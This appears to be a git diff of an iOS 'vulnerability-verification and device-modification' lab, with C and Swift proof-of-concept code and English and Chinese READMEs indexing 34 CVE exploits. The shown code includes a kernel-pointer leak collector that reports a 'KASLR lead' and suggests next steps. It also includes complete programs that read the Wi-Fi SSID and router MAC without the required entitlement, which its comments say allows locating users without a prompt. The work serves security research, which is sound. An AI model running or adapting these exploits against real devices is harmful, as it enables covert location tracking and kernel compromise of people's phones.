@@ -120,7 +166,6 @@ static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, s
}
r.wrote_xattr = 1;
// read the file back: the kernel decompresses through AppleFSCompression
FILE *f = fopen(path, "rb");
if (!f) {
snprintf(r.note, sizeof r.note, "read failed errno=%d", errno);
@@ -134,19 +179,23 @@ static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, s
fclose(f);
r.read_back = (long)back.n;
// scan for kernel-space pointers in whatever the kernel handed back
if (back.n >= 8) {
if (keep) {
fprintf(keep, "# chunks=%d produce=%zu uncompressed=%zu bytes=%zu\n",
chunks, produce, uncompressed, back.n);
if (back.n) fwrite(back.d, 1, back.n, keep);
fputc('\n', keep);
}
// A pointer can sit at any 8-byte-aligned offset; scan the whole readback.
for (size_t i = 0; i + 8 <= back.n; i += 8) {
uint64_t v = 0;
for (int k = 0; k < 8; k++) v |= (uint64_t)back.d[i + k] << (8 * k);
if (v >= 0xFFFFFFE000000000ULL) {
int cls = classify(v);
if (cls == PTR_KERNEL_TEXT || cls == PTR_KERNEL_DATA || cls == PTR_KERNEL_OTHER) {
r.hits++;
if (r.nsamples < 8) {
snprintf(r.samples[r.nsamples], sizeof r.samples[0], "0x%016llx @ +0x%zx",
(unsigned long long)v, i);
r.nsamples++;
}
}
r.by_class[cls]++;
note_sample(&r, v, i, cls);
if (verbose) printf(" +0x%06zx 0x%016llx %s\n", i, (unsigned long long)v, class_name(cls));
}
}
snprintf(r.note, sizeof r.note, "read %ld B", r.read_back);
@@ -155,13 +204,34 @@ static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, s
return r;
}
int main(void) {
const char *path = "decmpfs_probe.bin";
struct { int chunks; size_t produce; } configs[4] = {
{4, 65536}, {4, 4096}, {8, 1024}, {2, 1},
};
long total_hits = 0;
int main(int argc, char **argv) {
int loop = 1;
int verbose = 0;
const char *keep_path = NULL;
for (int i = 1; i < argc; i++) {
if (strcmp(argv[i], "--loop") == 0 && i + 1 < argc) loop = atoi(argv[++i]);
else if (strcmp(argv[i], "--keep") == 0 && i + 1 < argc) keep_path = argv[++i];
else if (strcmp(argv[i], "--verbose") == 0) verbose = 1;
else { printf("usage: %s [--loop N] [--keep out.bin] [--verbose]\n", argv[0]); return 1; }
}
if (loop < 1) loop = 1;
const char *path = "decmpfs_probe.bin";
struct { int chunks; size_t produce; } configs[] = {
{1, 0}, {1, 1}, {2, 1}, {4, 1},
{4, 4096}, {8, 1024}, {4, 65536}, {1, 65536},
};
const int ncfg = (int)(sizeof configs / sizeof configs[0]);
FILE *keep = keep_path ? fopen(keep_path, "wb") : NULL;
if (keep_path && !keep) { printf("cannot open %s\n", keep_path); return 1; }
if (keep) {
fprintf(keep, "# CVE-2026-113910 decmpfs readback — %d loops x %d configs\n", loop, ncfg);
}
long total_hits = 0;
long by_class[5] = {0};
long runs = 0;
printf("— baseline: what a plain file reads back —\n");
{
unlink(path);
@@ -176,22 +246,41 @@ int main(void) {
if (f) { fseek(f, 0, SEEK_END); printf("plain size: %ld\n", ftell(f)); fclose(f); }
}
printf("\n— chunked xattr round trip —\n");
for (int i = 0; i < 4; i++) {
printf("\n— chunked xattr round trip (%d loop%s x %d configs) —\n", loop, loop == 1 ? "" : "s", ncfg);
for (int l = 0; l < loop; l++) {
for (int i = 0; i < ncfg; i++) {
size_t uncompressed = (size_t)configs[i].chunks * 65536;
decmpfs_result r = probe(path, uncompressed, configs[i].chunks, configs[i].produce);
decmpfs_result r = probe(path, uncompressed, configs[i].chunks, configs[i].produce,
keep, verbose);
runs++;
total_hits += r.hits;
printf("chunks=%d produce=%zu: xattr=%d read=%ldB hits=%ld — %s\n",
configs[i].chunks, configs[i].produce, r.wrote_xattr, r.read_back, r.hits, r.note);
if (r.nsamples > 0) {
printf(" candidates:");
for (int k = 0; k < r.nsamples; k++) printf(" %s", r.samples[k]);
printf("\n");
for (int c = 0; c < 5; c++) by_class[c] += r.by_class[c];
if (r.hits > 0 || verbose) {
printf(" l=%d chunks=%d produce=%zu: xattr=%d read=%ldB hits=%ld — %s\n",
l, configs[i].chunks, configs[i].produce, r.wrote_xattr, r.read_back, r.hits, r.note);
for (int k = 0; k < r.nsamples; k++) printf(" %s\n", r.samples[k]);
}
}
}
// Class totals are what matter here; the raw bytes are in --keep for offline work.
unlink(path);
printf("\nCVE-2026-113910 · %s\n", total_hits > 0 ? "kernel pointer candidates found"
: "no kernel pointers surfaced (read was served plain)");
return 0;
if (keep) { fclose(keep); printf("\nraw readback: %s\n", keep_path); }
printf("\n== leak summary ==\n");
printf("runs=%ld hits=%ld\n", runs, total_hits);
printf(" kernel-text: %ld\n", by_class[PTR_KERNEL_TEXT]);
printf(" kernel-data: %ld\n", by_class[PTR_KERNEL_DATA]);
printf(" kernel-other: %ld\n", by_class[PTR_KERNEL_OTHER]);
if (total_hits > 0) {
printf("\nKASLR lead: at least one canonical kernel pointer surfaced.\n");
printf("Next step is not a write: map which object owns the leaked slot, then check\n");
printf("whether the same chunk table can be pointed at that slot again.\n");
} else {
printf("\nno kernel pointers surfaced (decmpfs did not engage, or the read was served plain)\n");
}
printf("CVE-2026-113910 · leak primitive — read only; no write is attempted\n");
return total_hits > 0 ? 0 : 0;
}
+5
View File
@@ -2,6 +2,11 @@
// HID event tree append entry point probe
// C twin of the Swift POC: dlopens IOKit and dlsyms the event-tree entry points
// (create/append/serialize/type/vendor-defined) the unbounded append lives behind.
//
// This file stops at symbol reachability and never appends an event: the bug is a
// fixed-offset write into a short heap allocation with no leak and no address
// control. Attempting it blind is a panic, not an experiment. See
// docs/KERNEL-RW-ASSESSMENT.md.
// Build: clang -O2 -o cve-2026-65385 CVE-2026-65385.c
// Run: ./cve-2026-65385
+132
View File
@@ -0,0 +1,132 @@
// sc.dynamicstore · SystemConfiguration · configd network state · CVE-2026-84636
// C twin of the Swift POC: read the Wi-Fi SSID and router MAC from configd's dynamic
// store without com.apple.developer.networking.wifi-info, and compare against the
// supported API, which refuses without the entitlement.
//
// Build: clang -O2 -o cve-2026-84636 CVE-2026-84636.c \
// -framework SystemConfiguration -framework CoreFoundation
// Run: ./cve-2026-84636
#include <stdio.h>
#include <string.h>
#include <TargetConditionals.h>
#include <SystemConfiguration/SystemConfiguration.h>
#include <SystemConfiguration/CaptiveNetwork.h>
#include <CoreFoundation/CoreFoundation.h>
static void show(SCDynamicStoreRef store, const char *key) {
CFStringRef k = CFStringCreateWithCString(NULL, key, kCFStringEncodingUTF8);
CFPropertyListRef v = SCDynamicStoreCopyValue(store, k);
if (!v) {
printf("%s: <absent>\n", key);
} else {
CFStringRef d = CFCopyDescription(v);
char buf[2048] = {0};
if (d) {
CFStringGetCString(d, buf, sizeof(buf), kCFStringEncodingUTF8);
CFRelease(d);
}
printf("%s: %s\n", key, buf);
CFRelease(v);
}
CFRelease(k);
}
static char *field(CFPropertyListRef v, const char *name) {
static char buf[256];
buf[0] = 0;
if (!v || CFGetTypeID(v) != CFDictionaryGetTypeID()) return buf;
CFStringRef key = CFStringCreateWithCString(NULL, name, kCFStringEncodingUTF8);
CFTypeRef item = CFDictionaryGetValue(v, key);
if (item && CFGetTypeID(item) == CFStringGetTypeID()) {
CFStringGetCString((CFStringRef)item, buf, sizeof(buf), kCFStringEncodingUTF8);
} else if (item) {
CFStringRef d = CFCopyDescription(item);
if (d) {
CFStringGetCString(d, buf, sizeof(buf), kCFStringEncodingUTF8);
CFRelease(d);
}
}
CFRelease(key);
return buf;
}
int main(void) {
SCDynamicStoreRef store = SCDynamicStoreCreate(NULL, CFSTR("cve-2026-84636"), NULL, NULL);
if (!store) { printf("SCDynamicStoreCreate failed\n"); return 1; }
printf("=== entitlement check ===\n");
#if TARGET_OS_IPHONE
CFDictionaryRef captive = CNCopyCurrentNetworkInfo(CFSTR("en0"));
if (captive) {
CFStringRef d = CFCopyDescription(captive);
char buf[512] = {0};
if (d) { CFStringGetCString(d, buf, sizeof(buf), kCFStringEncodingUTF8); CFRelease(d); }
printf("CNCopyCurrentNetworkInfo: %s\n", buf);
CFRelease(captive);
} else {
printf("CNCopyCurrentNetworkInfo: nil (wifi-info entitlement missing)\n");
}
#else
printf("CNCopyCurrentNetworkInfo: not available on macOS — dynamic store path only\n");
#endif
printf("\n=== interface state ===\n");
show(store, "State:/Network/Interface/en0/AirPort");
CFPropertyListRef airport = SCDynamicStoreCopyValue(store, CFSTR("State:/Network/Interface/en0/AirPort"));
printf("SSID_STR: %s\n", field(airport, "SSID_STR"));
printf("BSSID: %s\n", field(airport, "BSSID"));
printf("Channel: %s\n", field(airport, "Channel"));
printf("AuthType: %s\n", field(airport, "AuthType"));
if (airport) CFRelease(airport);
printf("\n=== IPv4 service (router MAC) ===\n");
show(store, "State:/Network/Global/IPv4");
CFPropertyListRef global = SCDynamicStoreCopyValue(store, CFSTR("State:/Network/Global/IPv4"));
char uuid[128];
snprintf(uuid, sizeof(uuid), "%s", field(global, "PrimaryService"));
printf("PrimaryService: %s\n", uuid[0] ? uuid : "<absent>");
printf("Router: %s\n", field(global, "Router"));
if (global) CFRelease(global);
if (uuid[0]) {
char key[256];
snprintf(key, sizeof(key), "State:/Network/Service/%s/IPv4", uuid);
show(store, key);
CFStringRef k = CFStringCreateWithCString(NULL, key, kCFStringEncodingUTF8);
CFPropertyListRef svc = SCDynamicStoreCopyValue(store, k);
printf("ARPResolvedHardwareAddress: %s\n", field(svc, "ARPResolvedHardwareAddress"));
if (svc) CFRelease(svc);
CFRelease(k);
snprintf(key, sizeof(key), "State:/Network/Service/%s/DHCP", uuid);
show(store, key);
}
printf("\n=== privacy-relevant keys ===\n");
show(store, "State:/Network/Global/DNS");
show(store, "com.apple.MobileBluetooth");
show(store, "com.apple.MobileInternetSharing");
show(store, "com.apple.sharing:/AutoUnlock/Enabled");
show(store, "State:/IOKit/LowBatteryWarning");
show(store, "State:/IOKit/PowerManagement/SystemLoad/Detailed");
printf("\n=== enumeration ===\n");
CFArrayRef keys = SCDynamicStoreCopyKeyList(store, CFSTR("State:/Network/.*"));
if (keys) {
CFIndex n = CFArrayGetCount(keys);
printf("State:/Network keys: %ld\n", (long)n);
for (CFIndex i = 0; i < n; i++) {
CFStringRef k = CFArrayGetValueAtIndex(keys, i);
char buf[512];
if (CFStringGetCString(k, buf, sizeof(buf), kCFStringEncodingUTF8)) show(store, buf);
}
CFRelease(keys);
} else {
printf("State:/Network key list: <none>\n");
}
printf("\noracle: SSID and router MAC above came from configd without the wifi-info entitlement\n");
CFRelease(store);
return 0;
}
+93
View File
@@ -0,0 +1,93 @@
// sc.dynamicstore · SystemConfiguration · configd network state · CVE-2026-84636
// Wi-Fi SSID and router MAC without com.apple.developer.networking.wifi-info.
//
// CNCopyCurrentNetworkInfo is the supported API and refuses without the entitlement.
// configd's dynamic store carries the same fields and is readable by any sandboxed
// process: State:/Network/Interface/en0/AirPort holds SSID_STR, and the service IPv4
// entry holds ARPResolvedHardwareAddress (the router MAC). Those two values are
// enough for WiGLE-style geolocation without a location prompt.
//
// SCDynamicStore is private on iOS (the SDK marks it unavailable), so the symbols are
// resolved from SystemConfiguration by name.
//
// Build: xcrun -sdk iphoneos swiftc -O -o cve-2026-84636 CVE-2026-84636.swift \
// -framework SystemConfiguration -framework CoreFoundation
// Run: ./cve-2026-84636
import Foundation
import SystemConfiguration
import SystemConfiguration.CaptiveNetwork
import CoreFoundation
typealias CreateFn = @convention(c) (CFAllocator?, CFString, UnsafeMutableRawPointer?, UnsafeMutableRawPointer?) -> CFTypeRef?
typealias CopyFn = @convention(c) (CFTypeRef, CFString) -> CFPropertyList?
typealias KeysFn = @convention(c) (CFTypeRef, CFString) -> CFArray?
guard let handle = dlopen("/System/Library/Frameworks/SystemConfiguration.framework/SystemConfiguration", RTLD_NOW),
let cSym = dlsym(handle, "SCDynamicStoreCreate"),
let vSym = dlsym(handle, "SCDynamicStoreCopyValue"),
let kSym = dlsym(handle, "SCDynamicStoreCopyKeyList") else {
print("SystemConfiguration symbols not found"); exit(1)
}
let create = unsafeBitCast(cSym, to: CreateFn.self)
let copyValue = unsafeBitCast(vSym, to: CopyFn.self)
let copyKeys = unsafeBitCast(kSym, to: KeysFn.self)
guard let store = create(nil, "cve-2026-84636" as CFString, nil, nil) else {
print("SCDynamicStoreCreate failed"); exit(1)
}
func show(_ key: String) -> CFPropertyList? {
guard let v = copyValue(store, key as CFString) else {
print("\(key): <absent>")
return nil
}
print("\(key): \(v)")
return v
}
func dictField(_ v: CFPropertyList?, _ field: String) -> String? {
guard let d = v as? [String: Any] else { return nil }
return d[field].map { "\($0)" }
}
print("=== entitlement check ===")
let captive = CNCopyCurrentNetworkInfo("en0" as CFString) as? [String: Any]
print("CNCopyCurrentNetworkInfo: \(captive.map { "\($0)" } ?? "nil (entitlement missing)")")
print("\n=== dynamic store: interface state ===")
let airport = show("State:/Network/Interface/en0/AirPort")
print("SSID_STR: \(dictField(airport, "SSID_STR") ?? "<absent>")")
print("BSSID: \(dictField(airport, "BSSID") ?? "<absent>")")
print("Channel: \(dictField(airport, "Channel") ?? "<absent>")")
print("AuthType: \(dictField(airport, "AuthType") ?? "<absent>")")
print("\n=== dynamic store: IPv4 service (router MAC) ===")
let global = show("State:/Network/Global/IPv4")
print("PrimaryService: \(dictField(global, "PrimaryService") ?? "<absent>")")
print("Router: \(dictField(global, "Router") ?? "<absent>")")
if let uuid = dictField(global, "PrimaryService") {
let svc = show("State:/Network/Service/\(uuid)/IPv4")
print("ARPResolvedHardwareAddress: \(dictField(svc, "ARPResolvedHardwareAddress") ?? "<absent>")")
_ = show("State:/Network/Service/\(uuid)/DHCP")
}
print("\n=== dynamic store: privacy-relevant keys ===")
for key in ["State:/Network/Global/DNS",
"com.apple.MobileBluetooth",
"com.apple.MobileInternetSharing",
"com.apple.sharing:/AutoUnlock/Enabled",
"State:/IOKit/LowBatteryWarning",
"State:/IOKit/PowerManagement/SystemLoad/Detailed"] {
_ = show(key)
}
print("\n=== enumeration ===")
if let keys = copyKeys(store, "State:/Network/.*" as CFString) as? [String] {
print("State:/Network keys: \(keys.count)")
for k in keys.sorted() { _ = show(k) }
} else {
print("State:/Network key list: <none>")
}
print("\noracle: SSID and router MAC above came from configd without the wifi-info entitlement")
BIN
View File
Binary file not shown.
+15 -8
View File
@@ -2,7 +2,7 @@
[中文](README.zh-CN.md)
An iOS 17.0–27.1 vulnerability-verification and device-modification lab, **51 modules**. Primary target: **iOS 27.0.1 / iPhone 18 Pro Max** (iPhone19,7 · 24A446).
An iOS 17.0–27.1 vulnerability-verification and device-modification lab, **57 modules**. Primary target: **iOS 27.0.1 / iPhone 18 Pro Max** (iPhone19,7 · 24A446).
Component coverage: ImageIO, CoreGraphics, CoreMedia, FontParser, ArchiveUtility, VideoToolbox, AudioToolbox, Calendar, Dolby Vision RPU, XNU kernel IPC, sandbox & filesystem, GPT / kexts, HID / peripherals / radio, entitlement probing.
@@ -10,13 +10,13 @@ Component coverage: ImageIO, CoreGraphics, CoreMedia, FontParser, ArchiveUtility
| Block | Contents |
|---|---|
| `CVE-2026-XXXX/` (31) | One folder per CVE with the POC proper inside: a `.py` seed builder (standalone runnable), a `.swift` seed construction + trigger closures (standalone typecheckable), and a `.c` twin — self-contained seed + trigger + `main()`, compiles and runs standalone on macOS arm64 |
| `CVE-2026-XXXX/` (34) | One folder per CVE with the POC proper inside: a `.py` seed builder (standalone runnable), a `.swift` seed construction + trigger closures (standalone typecheckable), and a `.c` twin — self-contained seed + trigger + `main()`, compiles and runs standalone on macOS arm64 |
| `<module-id>/` (11) | Modules without a CVE number — tools, probes, baselines, sandbox primitives — named by module id, same folder-per-file shape |
| `Sources/` `scripts/` `Resources/` `Info.plist` | The Cinder27 app itself (the verification harness; build below) |
42 Swift POC files (all pass standalone typecheck) + 5 Python seed builders (byte-identical output to the app's built-in seeds) + 31 C POC files (compile clean with `clang -O2 -Wall` on macOS arm64, each with a recorded oracle).
45 Swift POC files (all pass standalone typecheck) + 5 Python seed builders (byte-identical output to the app's built-in seeds) + 34 C POC files (compile clean with `clang -O2 -Wall` on macOS arm64, each with a recorded oracle).
## POC index — 31 CVE folders
## POC index — 34 CVE folders
Composite ids (e.g. `CVE-2026-112627 / 112561`) collapse into the primary id's folder; where one CVE is hit by several modules, the trigger closures sit side by side in the same file.
@@ -35,6 +35,7 @@ Composite ids (e.g. `CVE-2026-112627 / 112561`) collapse into the primary id's f
| [CVE-2026-112610](CVE-2026-112610/) | `cg.cmap` | CoreGraphics · _cmap_convert | OOB write | in-process | CMap /UseCMap recursion out-of-bounds write (negative-result probe) | `CVE-2026-112610.swift` · `CVE-2026-112610.c` |
| [CVE-2026-112611](CVE-2026-112611/) | `cg.shading`, `cg.shading.sweep` | CoreGraphics · _cg_shading_type5_draw | OOB write | in-process | Type-5 shading stack overflow (value-controlled OOB write) | `CVE-2026-112611.swift` · `CVE-2026-112611.c` |
| [CVE-2026-112619](CVE-2026-112619/) | `cal.unzip` | CalendarFoundation · _UnzipArchiveWithLimits | OOB write | system process | Calendar attachment extraction containment | `CVE-2026-112619.swift` · `CVE-2026-112619.c` |
| [CVE-2026-112621](CVE-2026-112621/) | `lp.heic`, `lp.heic.fire` | LinkPresentation · LPAnimatedImageTranscoder | OOB write | in-process | Link-preview multi-frame size mismatch (later frame taller than the pool) | `CVE-2026-112621.swift` · `CVE-2026-112621.c` |
| [CVE-2026-112625](CVE-2026-112625/) | `iio.ktx2`, `iio.pvr` | ImageIO · KTX2ReadPlugin | integer overflow | in-process | KTX2 dimension and level size arithmetic | `CVE-2026-112625.py` · `CVE-2026-112625.swift` · `CVE-2026-112625.c` |
| [CVE-2026-112627](CVE-2026-112627/) | `iio.dds.bc7`, `iio.appx` | ImageIO · BCReadPlugin::initialize | OOB read | in-process | BC7 texture mip truncation | `CVE-2026-112627.swift` · `CVE-2026-112627.c` |
| [CVE-2026-112629](CVE-2026-112629/) | `iio.jpeg.gps` | ImageIO · GPSCopy::processData | OOB read | in-process | GPS IFD value offset out of bounds | `CVE-2026-112629.swift` · `CVE-2026-112629.c` |
@@ -48,11 +49,13 @@ Composite ids (e.g. `CVE-2026-112627 / 112561`) collapse into the primary id's f
| [CVE-2026-112683](CVE-2026-112683/) | `font.cff` | FontParser · charstring interpreter | OOB write | in-process | CFF Type2 charstring operand stack overflow | `CVE-2026-112683.py` · `CVE-2026-112683.swift` · `CVE-2026-112683.c` |
| [CVE-2026-112688](CVE-2026-112688/) | `cm.rpu`, `cm.rpu.sweep` | CoreMedia · hevcbridgeParseVdrDmDataPayloadExMetadataBlocks | OOB write | system process | Dolby Vision RPU extension metadata block array overrun | `CVE-2026-112688.swift` · `CVE-2026-112688.c` |
| [CVE-2026-112696 / 84494](CVE-2026-112696/) | `probe.ane` | AppleH16ANEInterface | OOB write | kernel | ANE kernel interface reachability | `CVE-2026-112696.swift` · `CVE-2026-112696.c` |
| [CVE-2026-112705](CVE-2026-112705/) | `ave.ntl`, `ave.ntl.fire` | AppleAVE2 · VideoToolbox HEVC encoder | OOB write | kernel | `NumberOfTemporalLayers` 16463 → kernel data abort | `CVE-2026-112705.swift` · `CVE-2026-112705.c` |
| [CVE-2026-112706](CVE-2026-112706/) | `cm.fdleak`, `cm.fdleak.boundary` | CoreMedia · mediaplaybackd.bytestream.xpc | info leak | system process | CoreMedia bytestream XPC cross-sandbox file descriptor acquisition | `CVE-2026-112706.swift` · `CVE-2026-112706.c` |
| [CVE-2026-113907](CVE-2026-113907/) | `aud.haptic`, `aud.immersive` | AudioToolbox · AVHapticServerInstance | OOB write | system process | AVHaptic custom audio event format validation | `CVE-2026-113907.swift` · `CVE-2026-113907.c` |
| [CVE-2026-113910](CVE-2026-113910/) | `kern.decmpfs` | XNU · AppleFSCompressionTypeZlib | info leak | kernel | decmpfs chunked decompression under-produce → kernel heap disclosure | `CVE-2026-113910.swift` · `CVE-2026-113910.c` |
| [CVE-2026-113912 / 86972](CVE-2026-113912/) | `aud.drc` | AudioCodecs · mpddrc::UniDrcSelection | OOB read | system process | MPEG-D DRC downmix matrix coefficient validation | `CVE-2026-113912.swift` · `CVE-2026-113912.c` |
| [CVE-2026-65385](CVE-2026-65385/) | `kext.iohid` | IOKit.framework · IOHIDEventAppendEvent | OOB write | kernel | IOKit event short-heap fixed-offset write | `CVE-2026-65385.swift` · `CVE-2026-65385.c` |
| [CVE-2026-84636](CVE-2026-84636/) | `sc.dynamicstore` | SystemConfiguration · configd dynamic store | info leak | system process | SSID + router MAC without the `wifi-info` entitlement | `CVE-2026-84636.swift` · `CVE-2026-84636.c` |
## Modules without a CVE — 11
@@ -92,7 +95,7 @@ Every CVE folder carries a C twin — the same verification in plain C, compilin
4. **Oracle** — printed to stdout: OSStatus codes, parse-entry refusals, XPC reply types, signal / crash outcomes
5. **`main()`** — argument-parameterised where the Swift version is (depth, block-count, path); the seed file is written to the working directory for inspection
All 31 compile clean with `clang -O2 -Wall` — zero warnings — and each has a recorded oracle from this exact host.
All 34 compile clean with `clang -O2 -Wall` — zero warnings — and each has a recorded oracle from this exact host.
## Running
@@ -128,15 +131,19 @@ bash scripts/build-sim.sh # → build/sim/Cinder27.app (arm64 simulator)
python3 scripts/gen_seeds.py # → seeds/ (the app's built-in seeds, byte-identical to the .py POCs)
```
Device install: bundle id `com.jbjf.cinder27` (v2.0 build 3), unsigned — sign with your own certificate + a matching (or wildcard) provisioning profile, then sideload.
Device install: bundle id `com.jbjf.cinder27` (v2.2 build 5), unsigned — sign with your own certificate + a matching (or wildcard) provisioning profile, then sideload.
## Verification status
Full 51-module regression (simulator build): **47 done + 4 armed**.
Full 57-module regression (simulator build): **51 done + 4 armed + 2 fire modules left unrun by design**. The two fire modules are the deliberate death oracles for 112705 and 112621; they are compiled in and require a tap.
Armed is not a timeout — it is the **death oracle firing**: the payload crashes the process, the journal stays armed, the process vanishes. The cm.rpu / cm.rpu.sweep crash stacks land inside `CMGetDMVersionLevelFromRPU` with SIGSEGV; the C twin pins the mechanism — the iOS surface is the 4-argument `(bytes, count, u32*, u32*)` form, while the macOS export takes a single `CFDataRef` (verified by disassembly: arg0 goes through a CFRetain-style GOT call before `FigHEVCBridge_GetRPUMetadata`), so the Swift 4-arg call dies at entry on the simulator's CoreMedia. cg.shading / cg.shading.sweep are R=136 long-overflow ladder sweeps, by design advancing within one process to the fatal rung.
All 31 C twins compile clean — `clang -O2 -Wall`, zero warnings, macOS arm64 — and each runs with a recorded oracle on the dev host: 112522 raises SIGTRAP (the 2-byte OOB write caught by malloc), 112507 survives the ring race with -300 / invalid-destination receipts, 112706 answers 'Connection invalid' (mediaplaybackd bytestream XPC absent on macOS — silent-service verdict), 112485 surfaces the PEGTL depth receipt (`Expected } at 'def Xform "n1999"'`), 113910 reads back plain 0x41s (decmpfs does not engage for files with existing data). The rest refuse at the entry layer — same receipts as the app harness.
All 34 C twins compile clean — `clang -O2 -Wall`, zero warnings, macOS arm64 — and each runs with a recorded oracle on the dev host: 112522 raises SIGTRAP (the 2-byte OOB write caught by malloc), 112507 survives the ring race with -300 / invalid-destination receipts, 112706 answers 'Connection invalid' (mediaplaybackd bytestream XPC absent on macOS — silent-service verdict), 112485 surfaces the PEGTL depth receipt (`Expected } at 'def Xform "n1999"'`), 113910 reads back plain 0x41s and reports 0 classified pointers across the 16-run sweep (decmpfs does not engage for files with existing data); its collector now adds `--loop`, `--keep` and kernel-text/data classification. The three arrivals add their own receipts: 112621 builds the 256×16 → 256×48 container and the 48-row clear faults at a guard page exactly 32,768 bytes past the 16,384-byte pool; 84636 enumerates configd's `State:/Network` tree and reads `Global/DNS` and the primary service while `CNCopyCurrentNetworkInfo` is unavailable on the host — on a device the same call returns nil without the entitlement. 112705 compiles but is never executed on the host: its `.c` carries a `--force-host` gate because a frame submit reaches the same AppleAVE2 driver that panicked this Mac, and the app splits it into a property probe plus a separate fire module. The rest refuse at the entry layer — same receipts as the app harness.
Kernel R/W feasibility for the high/critical entries is in [docs/KERNEL-RW-ASSESSMENT.md](docs/KERNEL-RW-ASSESSMENT.md). Short version: none of the six kernel-reachable primitives supplies both address and value control. 113910 is a classified heap leak (read only), 112554 is a read-width model, 112507 is a race receipt on a UAF-shaped bug, and 112705 / 65385 / 112696 are DoS, reachability, and an honest negative respectively. The maximum safe capability the lab demonstrates is a KASLR lead plus race receipts — not arbitrary kernel R/W.
112507 reachability was re-measured on the target (iPhone19,7, iOS 27.0.1) with the new `kern.ipc.lifecycle` module and an `armed` counter in `kern.ipc`: `mach_port_request_notification` returns -300 (MIG_TYPE_ERROR) for every type/right combination tried, 0 armed out of 12,288 registrations. The request table is never armed, so the race is not reachable from an unentitled app; the earlier "survived the interleaving" line is retracted. Details in [docs/KERNEL-RW-ASSESSMENT.md](docs/KERNEL-RW-ASSESSMENT.md).
## Module semantics
+14 -8
View File
@@ -2,7 +2,7 @@
[English](README.md)
iOS 17.0–27.1 漏洞验证与设备修改工具链,**51 个模块**。主靶:**iOS 27.0.1 / iPhone 18 Pro Max**(iPhone19,7 · 24A446)。
iOS 17.0–27.1 漏洞验证与设备修改工具链,**57 个模块**。主靶:**iOS 27.0.1 / iPhone 18 Pro Max**(iPhone19,7 · 24A446)。
组件覆盖:ImageIO、CoreGraphics、CoreMedia、FontParser、ArchiveUtility、VideoToolbox、AudioToolbox、Calendar、Dolby Vision RPU、XNU 内核 IPC、沙盒与文件系统、GPT / kext、HID / 外设 / 无线链路、entitlement 探测。
@@ -10,13 +10,13 @@ iOS 17.0–27.1 漏洞验证与设备修改工具链,**51 个模块**。主靶
| 区块 | 内容 |
|---|---|
| `CVE-2026-XXXX/`(31 个) | 每个 CVE 一个文件夹,POC 本体在文件夹内:`.py` 种子构建器(可独立运行)、`.swift` 种子构造 + 触发闭包(可独立 typecheck),以及 `.c` 双子——种子 + 触发 + `main()` 自包含,在 macOS arm64 上独立编译运行 |
| `CVE-2026-XXXX/`(34 个) | 每个 CVE 一个文件夹,POC 本体在文件夹内:`.py` 种子构建器(可独立运行)、`.swift` 种子构造 + 触发闭包(可独立 typecheck),以及 `.c` 双子——种子 + 触发 + `main()` 自包含,在 macOS arm64 上独立编译运行 |
| `<模块名>/`(11 个) | 无 CVE 编号的模块——工具、探针、基线、沙盒原语——按模块 id 命名,同样一文件夹一文件 |
| `Sources/` `scripts/` `Resources/` `Info.plist` | Cinder27 app 主体(验证台本体,构建见下) |
共 42 个 Swift POC 文件(全部通过独立 typecheck)+ 5 个 Python 种子构建器(产物与 app 内置种子逐字节一致)+ 31 个 C POC 文件(macOS arm64 上 `clang -O2 -Wall` 零警告编译通过,各自带一份记录在案的 oracle)。
共 45 个 Swift POC 文件(全部通过独立 typecheck)+ 5 个 Python 种子构建器(产物与 app 内置种子逐字节一致)+ 34 个 C POC 文件(macOS arm64 上 `clang -O2 -Wall` 零警告编译通过,各自带一份记录在案的 oracle)。
## POC 索引 — 31 个 CVE 文件夹
## POC 索引 — 34 个 CVE 文件夹
复合编号(如 `CVE-2026-112627 / 112561`)归并到主编号的文件夹;同一 CVE 命中多个模块时,触发闭包并列在同一文件里。
@@ -35,6 +35,7 @@ iOS 17.0–27.1 漏洞验证与设备修改工具链,**51 个模块**。主靶
| [CVE-2026-112610](CVE-2026-112610/) | `cg.cmap` | CoreGraphics · _cmap_convert | OOB 写 | 进程内 | CMap /UseCMap 递归越界写(负结果探针) | `CVE-2026-112610.swift` · `CVE-2026-112610.c` |
| [CVE-2026-112611](CVE-2026-112611/) | `cg.shading`, `cg.shading.sweep` | CoreGraphics · _cg_shading_type5_draw | OOB 写 | 进程内 | Type-5 阴影栈溢出(值可控 OOB 写) | `CVE-2026-112611.swift` · `CVE-2026-112611.c` |
| [CVE-2026-112619](CVE-2026-112619/) | `cal.unzip` | CalendarFoundation · _UnzipArchiveWithLimits | OOB 写 | 系统进程 | 日历附件解压容器逃逸 | `CVE-2026-112619.swift` · `CVE-2026-112619.c` |
| [CVE-2026-112621](CVE-2026-112621/) | `lp.heic`, `lp.heic.fire` | LinkPresentation · LPAnimatedImageTranscoder | OOB 写 | 进程内 | 链接预览双帧尺寸不一致(后帧高于池) | `CVE-2026-112621.swift` · `CVE-2026-112621.c` |
| [CVE-2026-112625](CVE-2026-112625/) | `iio.ktx2`, `iio.pvr` | ImageIO · KTX2ReadPlugin | 整数溢出 | 进程内 | KTX2 维度/层级尺寸运算 | `CVE-2026-112625.py` · `CVE-2026-112625.swift` · `CVE-2026-112625.c` |
| [CVE-2026-112627](CVE-2026-112627/) | `iio.dds.bc7`, `iio.appx` | ImageIO · BCReadPlugin::initialize | OOB 读 | 进程内 | BC7 纹理 mip 截断 | `CVE-2026-112627.swift` · `CVE-2026-112627.c` |
| [CVE-2026-112629](CVE-2026-112629/) | `iio.jpeg.gps` | ImageIO · GPSCopy::processData | OOB 读 | 进程内 | GPS IFD 值偏移越界 | `CVE-2026-112629.swift` · `CVE-2026-112629.c` |
@@ -48,6 +49,7 @@ iOS 17.0–27.1 漏洞验证与设备修改工具链,**51 个模块**。主靶
| [CVE-2026-112683](CVE-2026-112683/) | `font.cff` | FontParser · charstring 解释器 | OOB 写 | 进程内 | CFF Type2 charstring 操作数栈溢出 | `CVE-2026-112683.py` · `CVE-2026-112683.swift` · `CVE-2026-112683.c` |
| [CVE-2026-112688](CVE-2026-112688/) | `cm.rpu`, `cm.rpu.sweep` | CoreMedia · hevcbridgeParseVdrDmDataPayloadExMetadataBlocks | OOB 写 | 系统进程 | Dolby Vision RPU 扩展元数据块数组越界 | `CVE-2026-112688.swift` · `CVE-2026-112688.c` |
| [CVE-2026-112696 / 84494](CVE-2026-112696/) | `probe.ane` | AppleH16ANEInterface | OOB 写 | 内核 | ANE 内核接口可达性 | `CVE-2026-112696.swift` · `CVE-2026-112696.c` |
